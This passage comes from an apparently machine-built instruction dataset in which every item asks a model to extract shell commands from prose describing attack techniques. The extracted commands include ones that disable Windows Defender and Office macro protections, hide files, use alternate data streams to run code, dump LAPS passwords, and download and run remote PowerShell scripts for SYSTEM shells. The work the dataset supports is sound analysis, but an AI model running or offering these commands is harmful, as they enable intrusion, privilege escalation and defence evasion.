along with LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime, via the command: & \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" #{optional_args} -h #{domain} -s subtree -f \"objectclass=computer\" *", "output": "{\"command_list\": [\"Get-adcomputer -SearchScope subtree -filter \\\"name -like '*'\\\" -Properties *\", \"& \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\AdFind.exe\\\" #{optional_args} -h #{domain} -s subtree -f \\\"objectclass=computer\\\" *\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This operation requires Apple Dev Tools; once installed, use the command: setfile -a V #{filename}\n; To conceal a directory on MacOS, use the following commands: touch /var/tmp/T1564.001_mac.txt\nchflags hidden /var/tmp/T1564.001_mac.txt", "output": "{\"command_list\": [\"setfile -a V #{filename}\\n\", \"touch /var/tmp/T1564.001_mac.txt\\nchflags hidden /var/tmp/T1564.001_mac.txt\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For creating an Alternate Data Stream, write access is necessary. Use the command: echo cmd /c echo \"Shell code execution.\"> #{file_name}:#{ads_filename}\nfor /f \"usebackq delims=?\" %i in (#{file_name}:#{ads_filename}) do %i. You can then check its existence with 'dir /a-d /s /r | find \":$DATA\"' in the %temp%\\nfolder and inspect the data via 'notepad T1564.004_has_ads.txt:adstest.txt'.; To create an Alternate Data Stream using PowerShell, ensure you have write access and then execute the following command: echo \"test\" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value \"test\"\nset-content -path #{file_name} -stream #{ads_filename} -value \"test2\"\nset-content -path . -stream #{ads_filename} -value \"test3\"\n. You can verify the execution by running specific commands in the %temp% directory.", "output": "{\"command_list\": [\"echo cmd /c echo \\\"Shell code execution.\\\"> #{file_name}:#{ads_filename}\\nfor /f \\\"usebackq delims=?\\\" %i in (#{file_name}:#{ads_filename}) do %i\\n\", \"echo \\\"test\\\" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value \\\"test\\\"\\nset-content -path #{file_name} -stream #{ads_filename} -value \\\"test2\\\"\\nset-content -path . -stream #{ads_filename} -value \\\"test3\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To modify the permissions of a file or folder, use the following command: chmod #{symbolic_mode} #{file_or_folder}; You can change permissions recursively by executing this command: chmod -R #{numeric_mode} #{file_or_folder}", "output": "{\"command_list\": [\"chmod #{symbolic_mode} #{file_or_folder}\\n\", \"chmod -R #{numeric_mode} #{file_or_folder}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To prevent Windows Defender from starting after a reboot, use the following command: Set-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" -Name DisableAntiSpyware -Value 1. This will cause the Virus and Threat protection window to appear grayed out upon restart.; The Gorgon group often disables Office security features to execute their code without warnings, which can be done by running the following commands: New-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\"\nNew-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\"\nNew-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\"\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\" -Name \"VBAWarnings\" -Value \"1\" -PropertyType \"Dword\"\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\" -Name \"DisableInternetFilesInPV\" -Value \"1\" -PropertyType \"Dword\"\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\" -Name \"DisableUnsafeLocationsInPV\" -Value \"1\" -PropertyType \"Dword\"\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\" -Name \"DisableAttachementsInPV\" -Value \"1\" -PropertyType \"Dword\"", "output": "{\"command_list\": [\"Set-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\" -Name DisableAntiSpyware -Value 1\\n\", \"New-Item -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\"\\nNew-Item -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\\Security\\\"\\nNew-Item -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\\Security\\\\ProtectedView\\\"\\nNew-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\\Security\\\" -Name \\\"VBAWarnings\\\" -Value \\\"1\\\" -PropertyType \\\"Dword\\\"\\nNew-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\\Security\\\\ProtectedView\\\" -Name \\\"DisableInternetFilesInPV\\\" -Value \\\"1\\\" -PropertyType \\\"Dword\\\"\\nNew-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\\Security\\\\ProtectedView\\\" -Name \\\"DisableUnsafeLocationsInPV\\\" -Value \\\"1\\\" -PropertyType \\\"Dword\\\"\\nNew-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\\Security\\\\ProtectedView\\\" -Name \\\"DisableAttachementsInPV\\\" -Value \\\"1\\\" -PropertyType \\\"Dword\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For binding a SYSTEM shell using WinPwn's CreateProcess function, execute this command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystemBind.ps1'); The NamedPipe Impersonation technique from WinPwn can be employed to get a SYSTEM shell with the command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/NamedPipe/NamedPipeSystem.ps1')", "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystemBind.ps1')\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/NamedPipe/NamedPipeSystem.ps1')\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For recursively updating the owner and group of a file or directory, execute the command: chown -R #{owner}:#{group} #{file_or_folder}\n; You can change a file or folder's ownership by executing the command: chown #{owner} #{file_or_folder}\n", "output": "{\"command_list\": [\"chown -R #{owner}:#{group} #{file_or_folder}\\n\", \"chown #{owner} #{file_or_folder}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To disable prefetch 